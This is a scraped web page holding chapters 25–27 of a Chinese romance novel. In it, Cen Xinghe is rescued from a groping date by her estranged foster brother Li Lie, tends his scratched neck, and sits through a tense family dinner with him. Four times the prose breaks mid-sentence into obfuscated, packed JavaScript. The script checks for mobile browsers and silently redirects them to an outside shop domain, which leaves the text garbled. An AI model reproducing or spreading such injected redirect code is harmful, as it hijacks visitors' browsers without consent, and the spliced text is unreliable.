d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571652|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “不用了。”她把餐巾放在桌上,“我吃饱了,先走了。” 她从包里拿出手机,点开微信,当着男人的面把饭钱A了过去,翻过屏幕给他看:“饭钱已经转给你了,我要回家了。” 男人的笑容僵在脸上。 他站起来,绕过桌子,一把拽住她的手腕,“为了跟你出来吃饭,我花了时间和金钱,你这就走了?饭钱你得全付。” 岑星禾低下头看着那只抓住她手腕的手,用力往外抽,“你放开。” “你付了我就放。” 岑星禾深吸一口气,刚想点开手机转全部的钱。 一只手从她身后伸过来,扣住了那个男人的手腕,力道大得对方立刻松开了她。 “拿开你的脏手。” 声音不高,带着一种结了冰的冷。 李烈站在她身后,几乎将她拢在身前。 他扣着那个男人的手腕往前一推,那人踉跄着往后退了两步,撞到旁边的桌子,桌上的水杯倒了,水洒了一桌布。 他盯着那个男人,目光冷得像刀。 “你他妈谁啊?!”男人扶着桌子站稳,上来就抓李烈胸口,“你知不知道我......” 话没说完。 李烈一脚踹过去,正中那人胸口,“我是你大爷!” 那人飞出去两三米,摔在另一张桌子的桌角下面,桌上的客人吓得站起来往旁边躲,碗碟碎了,椅子倒了,整个餐厅的目光都聚了过来。 “报警!我要报警!”男人捂着胸口,脸色发白,指着李烈,“你怎么还打人?” 李烈伸手拎起旁边的一把椅子。 周围的人倒吸一口凉气,有人往后退了几步。 岑星禾一把拉住他的胳膊,两只手死死攥住,指甲掐进他手臂的皮肤里。 “不要打人,李烈!” 他低头看了一眼她攥着自己的手,顿了一下。 他把椅子扔到地上,发出一声闷响,他蹲下来,看着那个缩在桌角里的男人,“别让我在燕港再看到你,见一次,打一次。” 派出所的笔录做了快一个小时。 监控调出来了,从男人伸手摸她的手,到她站起来想走,他拽住她的手腕,再到李烈踹人的全过程,清清楚楚。 民警把笔录做完,看了看岑星禾,又看了看李烈。 “你这一脚,够他躺三天。”民警的语气带着一点无奈,“对方先动手动脚,你这边可以调解。” 李烈从口袋里掏出一张律师名片,放在桌上,“不调解。” 男人慌了,“我就是……就是碰了一下手,至于吗?” 李烈拿起手机,翻到一个号码,拨了出去。 “赵哥,你们银行信贷部,有没有叫王林超的?三十多岁,戴一眼镜儿。”他看了那个男人一眼,“他猥亵我朋友,这种事你们怎么处理?” 男人的脸彻底白了。 ...... 走出派出所的时候,天已经黑了。 路灯亮着,夏风温软。 岑星禾站在台阶下面,看着自己的鞋尖,浅米色的连衣裙在路灯下泛着柔光。 她不知道该怎么开口。 李烈从台阶上走下来,站在她面前,路灯的光从头顶照下来,把他的影子投在她脚边。 “你不是警察吗?” “当初怎么摁住泰显川的?” 25. Chapter25·颈间痕^^…… 他眉头皱着,路灯的光落在他眉骨上,在眼窝处投下一小片阴影。 岑星禾抬起头,夜风吹过来,把她的头发吹到脸上。 他没有太大的变化,肩膀还是那么宽,下颌线更锋利了,眉骨的弧度更深了,整个人褪去少年人的青涩,多出一种不动声色的力量。 她曾在视频里见过他无数次的侧脸,隔着屏幕,她以为看够了。 此刻隔着夜色,岑星禾发现,屏幕装不下他,他站在那里像一座山,而她站在山脚下仰着头。 路灯下两个人的影子,一个高一个矮,一个宽大一个纤细,中间隔着一个拳头的距离。 他往前走了一步,军靴踩在地面上,她的心跳跟着那一步猛地跳了一下。 “不认识我了?” 岑星禾嗓子像被什么东西堵住了,说不出来话。 半晌,她才开口:“你回来了。” 李烈哑然失笑,“就这样?” 他又往前走了一步,两个人之间的距离又近了一点,她闻到他身上的味道,洗衣液的清新,底下压着一层淡淡的机油。 和以前一样,又不太一样。 她往后退了一小步,鞋跟碰到台阶,差点踩空,她稳住自己,低下头不敢看他,她不知道从哪一句开始,不知道哪一句能让他不恨她,她甚至不知道他恨不恨她。 岑星禾闪躲着眨眼,目光从他脸上移开,落在他的脖颈上。 路灯的光照在那里,她看到一道红色的划痕,从耳后一直延伸到锁骨,是刚才王林超的指甲划出来的。 她的手指顿了一下,从包里掏出手机。 “别动。”她打开相机,对着那道划痕拍了一张照片。 李烈被她这突如其来的动作惹笑,“不用,他不敢纠缠。” 岑星禾又拍了一张,放大看了看,确认拍清楚了,才把手机收起来,“万一呢。” 他低下头看着她的头顶,碎发在路灯下泛着柔软的光,她的手还在包里翻着什么,接着翻出一包湿巾,抽出一张,举起来,悬在他脖子旁边。 她捏着湿巾的一角,迟迟没有落下去。 他伸出手,握住她的手腕,把她的手连同湿巾一起按在自己脖子上的划痕处。 她的指尖碰到他的皮肤,凉的,他的体温是烫的。 他的声音低下去,“这都不算伤。” 她把湿巾从他脖子上拿开,把湿巾折了两折,又打开,她深吸一口气,抬起头看着他,“去便利店,买碘伏吧。” 他仔细打量完她的表情,松了手,转过身,往前走了两步,偏过头看她,“走吧。” 她跟在后面,与他隔着两步的距离。 * 两人买完碘伏和棉签出来。 傍晚的晚风卷着落日余温,便利店门口的路灯刚亮起来,暖黄色的光把整条街染成淡金色。 李烈坐在便利店门口的长椅上,手里拿着一瓶冰矿,瓶身在他的长指间来回转。 那条红痕在他脖颈上,被路灯照得更明显了,像一道刚刚干涸的河流。 岑星禾左手拿着碘伏棉签,右手捏着干棉签,低着头,凑近他的脖子,手腕悬在半空中,风吹过来,把她的头发吹到他手臂上。 他抬起头看着她,视线从纤细的指尖移到发红的耳尖,再到亮晶晶的眼睛。 她的睫毛垂着,在颧骨上投下一小片扇形的阴影,嘴巴抿着,抿成一条线。 在很多年前,她给他处理嘴角伤口的时候,也是这样,小心翼翼的。 “你怕什么?”他问。 “没怕。” “手在抖。” 她把棉签按上去,碘伏碰到伤口,他嘶了一声,眉头皱了一下,她的手指顿了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574381|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,抬起来,“疼吗?” “不疼。” “那我再用点力。”她故意的。 他短促地笑了一下。 她低下头继续帮他消毒,这一次手稳了很多,棉签从划痕的一端划到另一端,碘伏的颜色在皮肤上洇开一小片淡黄色的印子。 她专注到没有发现他的呼吸在变重。 他忽然倾身半寸,微微俯身,离她近了一些。 温热的呼吸扫过她的耳廓,她整个人僵住了,手里的棉签差点掉在地上。 “躲什么?”他尾音微微上扬。 岑星禾下意识往后缩了缩,耳根一下子烫得像着了火,她抬眼撞进他漆黑深邃的眼瞳里,男人单边唇角勾起一点散漫的笑,眼尾微挑,痞气混着直白。 手里的碘伏棉签掉在地上,滚了两圈,停在他鞋边。 她想蹲下去捡,他伸手挡了一下。 他低下头,伸手捡起那根棉签,扔进旁边的垃圾桶,然后他抬起手,指尖轻轻勾了一下她垂落在肩前的一缕碎发,拂到肩后。 她整个人像被点穴了一样,动不了。 “这么多年了,怎么还这样?”他收回手,靠回椅背上。 一点不经逗。 他晃了晃手里的冰矿,喉结轻轻滚动,语气无赖又认真:“再躲,我可来真的了。” 岑星禾皱着眉,拆开一根新的碘伏棉签,又凑过去,“别动。” 这一次他的手没有动,头也没有偏,他的喉结凸起,在碘伏的淡黄色印子旁边。 棉签按上去的时候,他的喉结上下滚动着,岑星禾强定心神涂完。 “好了。”她快速把棉签放进纸巾包着扔掉,碘伏的盖子拧上,放进塑料袋里。 李烈转了转脖子,缓缓站起身。 “别得意。”他垂眸凝着她,“我可不会轻易原谅你。” 26. Chapter26·账没算 岑星禾下意识往后缩了半寸。 李烈低低嗤了一声,长腿一迈,骤然逼近,高大的阴影瞬间将她整个人笼罩,他微微俯身,“岑星禾,这些年你过得挺好啊。” 晚风从临街的窗缝钻进来,吹得空气又凉又软。 岑星禾睫毛轻颤,“我该回去了。” 她试图绕过他逃走,手腕却被他精准扣住。 见她瑟缩着,李烈退开半步,“又开始逃避,这也是你一惯风格。” 岑星禾手上挣了一下。 李烈眼底却沉得厉害,“岑星禾,什么时候能改改这你毛病,诚实一点面对自己这么难吗?考警校,重启你父亲警号,查清泰显川的案子,又去港城卧底,你一直都很厉害啊,为什么到了感情上,像一只鸵鸟一样?” 刚涂过碘伏的脖颈伤口若隐若现,野性又乖戾,岑星禾抬了抬眼,看着他冷硬的面部线条,心口莫名发堵。 “李烈,我们早就结束了,就让一切过去吧,我们还是家人。” 李烈轻笑,“六年了,气还没消呢?” 岑星禾垂头不语。 “行了,我先送你回去。”李烈叹气。 夜晚的街道行人寥寥,路灯一盏盏次第铺开,把两人的影子拉得忽长忽短,偶尔重叠,又被晚风拉扯着分开。 两人朝停车的方向走,一路安静得诡异。 岑星禾刻意落后半步,保持着安全的距离。 李烈偏不遂她愿,他脚步刻意放慢,迁就着她的步调,侧脸轮廓锋利冷白,余光却分分秒秒都落在她身上,寸寸不放过。 走至半路,他忽然偏头看她,“还住原来那里吗?” 她脚步一顿,垂在身侧的手攥得更紧,眼眶微微泛红,破碎感在昏黄路灯下愈发浓烈,“嗯。” 他又轻哼,“这你倒挺长情。” 她垂下眼,“你不要这么说话,现在我们都有新生活了,一起往前看。” 李烈无声一哂,眉眼霎然覆上一层冷漠。 上了车,两人都不再说话。 燕港夜色温柔如水,岑星禾浮躁的心开始慢慢往下沉。 * 他凭着记忆开到了兰亭苑。 车子熄了火,两个人谁都没先动。 车厢里还残留着冷气的凉,和一种黏稠的安静。 她解开安全带,咔嗒一声,推门下车。 他跟在后面下来,也不说话,就隔着两步的距离,黑色军靴踩在地面上,不急不慢。 单元门口的声控灯应声亮起,白炽灯的光晃得人眼睛发酸。 她停下来,低着头,对着自己的鞋尖说了一声:“今天谢谢你,到这里就好。” 说完转身就要刷卡进门,手指还没碰到感应区,手腕就被他从身后攥住了。 李烈指尖摩挲着她细腻的皮肤,“就这么打发我?”他微微倾身,盯住她泛红的眼尾,“岑星禾,今晚不算完。” 岑星禾浑身紧绷,睫毛飞快地颤,她挣了挣,力道很轻,根本算不上反抗,反倒像欲拒还迎。 “李烈,别闹了。”她带着几分无力的恳求。 “闹?”他微微收紧手腕,把她轻轻往自己身前带了一寸,“我还没跟你算账呢。” 她偏过头,不敢看他。 “有我没我都无所谓了,是吗?”他低声问。 岑星禾的心口像被人攥了一下,挤出来的声音自己都觉得陌生:“你有女朋友了,要好好对待人家。” 李烈手上一顿,紧皱的眉头这才松了松。 “哦......”他拖长了尾音,意味深长地看了她一眼,“对女朋友好是应该的,不过,也不能亏待了姐姐啊。” 岑星禾心口又是狠狠一缩,疼得她全身冷汗直冒。 她怕得就是这样。 从前那个放纵不羁的少年没有属于过她,如今的李烈更不会永远钟情于她,童年失去亲人的疼痛一直到现在还在提醒她,没有谁会永远陪在自己身边。 她别开脸,嗓音轻得发颤:“不必顾及我,好好陪她就够了。 “那不行。” 李烈低笑,态度寒凉又恶劣。 他抬手,指背极轻地擦过她泛红的眼尾,动作温柔,“你是特殊的,谁都代替不了你。” “别疯了。”她用力抽回手腕,后退一步,拉开安全距离,“快回去吧。” “不请我上去坐坐?” 岑星禾摇摇头,“太晚了。” “就是晚了才上去。”他歪着头看她,嘴角坏笑又深了一点。 有女友了还这幅模样,如此自甘堕落。她抬眸盯着他,眼眶红红的,声音却硬了几分:“别逼我打你。” “我只是想你了。” 岑星禾抬头看他,眼底有转瞬即逝的无措,然后颇有些愤怒地说:“专一是个好品质,我希望你有。” “那你呢?”他的目光落在她脸上,“你有吗?” 岑星禾身形晃了晃,快要站不住了,她快速眨了眨眼,把涌上来的湿意逼回去,扯开话题:“你管好自己的事就行。” 李烈也不纠缠,顺着她说:“阿姨让我周末回家吃饭。” “然后呢?”岑星禾说。 “我带女朋友回去,怎么样?” 岑星禾心头一哽,手指攥紧了包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576663|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带,“随便你。” “我就是想替她问问,不知道带什么礼物,阿姨有没有什么喜欢的?” 岑星禾深吸一口气,声音闷闷的:“不用带什么礼物,她不缺。” “你怎么能替阿姨做决定呢?” “那你去问她。” “那就没有惊喜了。” 她低着头,“你带女朋友回去,对她来说已经是惊喜了。” “那对你呢?” 声控灯灭了。 两个人在黑暗里站了一瞬,她跺了一下脚,灯又亮了。 光刺得她眼睛疼。 她不敢回答,也不敢看他。 李烈从墙上直起身,往后退开一步,双手插进裤袋,重新变回那副散漫桀骜的模样,但他的目光依旧牢牢黏在她身上,不肯挪开半分。 “我有女朋友了,”他看着她,“你开心吗?” 她的心口像被人塞了一团湿棉花,她想甩开他,赶紧跑回房间,把脸埋进枕头里,想大哭。 “我不知道。”她的声音很轻,“你开心就行了。” 李烈上前一步,挡住了她的去路,低头看着她的眼睛,“你不开心了?” 岑星禾忍不住了,眼泪已经在眼眶里打转,她拼命忍着,鼻子一酸,声音碎了一下:“李烈,你放过我吧。” 这句轻声的求饶,软得要命。 李烈眸色骤然一沉。 他最受不了她这副样子。 他沉默了好几秒,喉结上下滚动了一下,最后只低低嗤了一声。 “放过你?可以。” 岑星禾抬起头看着他。 “我只放过你今晚。”他又缓缓补上后半句,“岑星禾,你记住,你欠我六年。” 不等她再说什么,李烈主动收回所有逼近的气场。 他往后退了半步,给她让出了路。 “上去吧。” 晚风拂过两人之间最后的空隙,吹散紧绷的暧昧。 岑星禾心口乱糟糟的,又酸又麻,不敢再多停留,转身快步踏上台阶,脚步声轻轻,仓皇又狼狈。 声控灯随着她的脚步一次次亮起熄灭,她不敢回头。 而身后的男人就那样静静站在夜色里,抬眸望着她逐层向上的背影,目光深沉。 直到楼道尽头的家门轻轻合上,隔绝了彼此的视线。 李烈仰头望着那扇漆黑的窗户,等了很久。 灯没有亮。 他坐回车里,打开车窗,默默看着上面,大概过了半个多小时,灯亮了。 李烈仰头望着那扇漆黑的窗户,唇角慢慢勾起一抹极淡极坏的笑。 27. Chapter27·有猫腻 岑星禾开车路过慕星机车,远远地就看到那天接待她的女孩正站在门口,和一个瘦瘦高高的男生手牵着手往外走,有说有笑。 两个人身上穿着同一款式的白T恤,胸口都印着LIE。 她的手在方向盘上顿了一下,又收回目光,路口刚好绿灯,踩了脚油门过去了。 手机响了,于向清打来的。 “小烈这周六回来吃饭,你也一起回来。”于向清说。 岑星禾把蓝牙耳机戴上,“好啊。” “今天这么容易就答应了?”于向清的声音拔高了一点,“心情不错啊。” 岑星禾笑了一下,“我什么时候不答应您了?” “怕回来我又催你相亲呗。”于向清哼了一声。 “知道您就别催了。”岑星禾把着方向盘,嘴角还弯着。 于向清笑了,“早点回来啊。”说完挂了。 岑星禾把手机放回副驾驶,手指在方向盘上轻轻敲了两下。 周六,岑星禾到的时候,门口多了一辆蓝色超跑。 于向清和周叔叔刚买菜回来,大袋小袋拎了一堆,于向清正弯腰换鞋,嘴里念叨着“小烈这孩子,非要抢着提,我说不用他非要”。 李烈从厨房门口探出头,手里拿着一把芹菜,袖子卷到手肘,露出小臂结实的线条。 他看到岑星禾走进来,视线在她身上停了一瞬,在于向清的注视下,冲她点了点头。 岑星禾装模作样的说了句:“回来了。” 于向清拉着岑星禾进厨房帮忙,厨房不大,站三个人就转不开身。 李烈在洗菜池前站着,岑星禾走过去的时候不得不从他身后侧身挤过去,后背蹭到他的手臂,他的手臂很硬,带着刚洗完菜的凉意和湿气。 于向清在切姜,周叔叔在剥蒜,四个人挤在一起,锅碗瓢盆的声音热热闹闹的。 岑星禾低着头洗番茄,手指在水里泡得发白。 李烈不知道什么时候站到了她旁边,伸手去够她面前的那筐青菜,手臂从她身后绕过去,几乎把她整个人圈在怀里。 只是一瞬间,他就退开了。 他的气息从她耳后扫过去,温热的,带着一点点薄荷牙膏的味道。岑星禾的手指在水里攥了一下,番茄差点滑出去。 于向清正在跟周叔叔说:“那个排骨多炖一会儿”。 周叔叔应了一声,抬头看了李烈和岑星禾一眼,又低下头继续剥蒜,没说什么。 * 饭菜一盘一盘端上桌,排骨、糖醋鱼、玉米排骨汤和红烧肉,还有几样清淡的小菜,摆了满满一桌。周叔叔戴着隔热手套端汤盆。 于向清在摆筷子,嘴里念叨着:“小烈你坐那儿,你星禾姐你坐对面”。 岑星禾坐下来,对面就是李烈。 她从他进门时叫了一声“回来了”之后,就再也没有看他。她的视线始终落在桌面上,落在汤碗的边缘,落在筷子架的青花瓷花纹上,就是不往对面落。 李烈倒是没有刻意看她。 他在于向清和周叔叔面前很收敛,拿碗盛饭,接过于向清递来的汤,说“谢谢阿姨”,语气礼貌周全。 但他的目光会在她低头的时候落在她身上。 她低头吃饭的时候,她侧过脸和于向清说话的时候,她端起汤碗挡住半张脸的时候。 岑星禾每一次都能感知到他的目光,她甚至能想象出他的眼神。 她的后背绷得直直的,筷子伸向那盘糖醋排骨,夹了一块放到自己碗里,低着头啃。 于向清坐在中间,浑然不觉,给李烈夹菜,给岑星禾夹菜,嘴里絮絮叨叨地说着家长里短。 周叔叔坐在李烈旁边,慢悠悠地喝汤,间或抬眼看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579430|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看这个,又看看那个。 他看出来了。 岑星禾从头到尾没有看李烈一眼,这顿饭她没有吃几口。 李烈说了句:“阿姨,鱼做得真好”。 于向清爽朗的笑了,岑星禾的筷子顿了一下。 李烈站起来去厨房盛汤,从岑星禾身后走过的时候,衣角轻轻蹭过她的肩膀,她的身体几不可见地僵了一下,没有回头。 周叔叔把那一眼收进眼底。 于向清又给李烈夹了一块排骨,终于问出了那句在嘴边转了半天的活。 “小烈,你不是说要带女朋友来吗?” 李烈咽了一口饭,“她今天忙。” 岑星禾低着头喝汤,汤勺在碗里搅了两下。 于向清叹了口气,“我们小烈长大了,早就该谈恋爱了,你看看,邻居家和我们老两口一样的,都有孙子了。 李烈微笑:“这不是读书耽误了吗?当初有些人非说国外好,死活把我往外推。” “多读书是好事,”于向清宠溺地笑笑,又看了一眼岑星禾,“你看看你姐,老大不小了,哎,说不听。” 岑星禾把汤勺放下,嘴角动了一下。 “星禾挺好。”李烈忽然开口。 于向清哼了一声,“好什么,不听话。” “我就想找她这样的。”李烈说这话的时候没有看任何人。 于向清没反应过来,这种前后矛盾的话,完全被她的神经大条忽略过去,她还在说:“你星禾姐那犟脾气,谁受得了”。 周叔叔夹菜的手顿了一下,抬起眼看了看李烈,接着把菜夹到老婆碗里,让她尝尝自己的手艺有没有进步。 岑星禾的手放在膝盖上,指甲掐进掌心里。 李烈那句话像一根针,从她耳膜扎进去,顺着血管往下淌,淌到心口,堵在那里,化不开。